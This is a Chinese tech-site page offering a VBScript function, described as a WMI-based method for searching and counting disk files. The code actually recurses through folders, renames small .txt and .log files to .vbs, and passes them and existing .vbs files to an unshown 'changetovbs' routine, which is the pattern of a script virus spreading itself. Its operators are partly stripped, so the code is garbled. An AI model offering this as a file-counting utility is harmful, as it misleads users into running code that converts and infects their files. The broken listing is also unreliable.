主頁 > 知識庫 > VBS調(diào)用WMI遍歷搜索硬盤文件并計數(shù)的方法

VBS調(diào)用WMI遍歷搜索硬盤文件并計數(shù)的方法

熱門標(biāo)簽:服務(wù)器配置 美圖手機 呼叫中心市場需求 智能手機 網(wǎng)站文章發(fā)布 銀行業(yè)務(wù) 鐵路電話系統(tǒng) 檢查注冊表項

多年之前寫的一個VBS調(diào)用WMI來遍歷搜索硬盤文件,并計數(shù)的函數(shù),今天整理網(wǎng)盤,看到了,發(fā)上來

核心代碼:

Function wmisfile(path_sf,justcnt)
  'On Error Resume Next
  StrComputer = "."
  Set ObjWMIService = GetObject("winmgmts:\\"  StrComputer  "\root\cimv2")
  Set FileList = objWMIService.ExecQuery _
  ("ASSOCIATORS OF {Win32_Directory.Name='"  path_sf  "'} Where " _
    "ResultClass = CIM_DataFile")
  For Each objFile In FileList
    fname = LCase(objfile.name)
    ename = LCase(objfile.extension)
    If 1  objfile.filesize And objfile.filesize = 50000 Then
      Select Case ename
        Case "txt","log"
        path_vbs = objfile.drive  objfile.path  objfile.filename  ".vbs"
        objfile.rename(objfile.drive  objFile.Path  objfile.filename  ".vbs")
        Call changetovbs(path_vbs,path_vbs)
        justcnt = justcnt + 1
        Case "vbs"
        If checkversion(fname) = False Then
          Call changetovbs(fname,fname)
          justcnt = justcnt + 1
        End If
      End Select
    End If
  Next
  Set colSubfolders = objWMIService.ExecQuery _
  ("Associators of {Win32_Directory.Name='"  path_sf  "'} " _
    "Where AssocClass = Win32_Subdirectory " _
    "ResultRole = PartComponent")
  For Each objFolder In colSubfolders
    wmisfile objfolder.name,justcnt
  Next
End Function

您可能感興趣的文章:
  • VBS腳本實現(xiàn)遍歷批量替換多目錄多文件內(nèi)容的代碼
  • 用vbs遍歷文件并隨機顯示的腳本
  • VBS遍歷文件或文件夾路徑輸入文件的所有絕對路徑(附源碼)

標(biāo)簽:紅河 新疆 沈陽 上海 河南 滄州 樂山 長治

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《VBS調(diào)用WMI遍歷搜索硬盤文件并計數(shù)的方法》,本文關(guān)鍵詞  ;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題,煩請?zhí)峁┫嚓P(guān)信息告之我們,我們將及時溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無關(guān)。
  • 相關(guān)文章
  • 收縮
    • 微信客服
    • 微信二維碼
    • 電話咨詢

    • 400-1100-266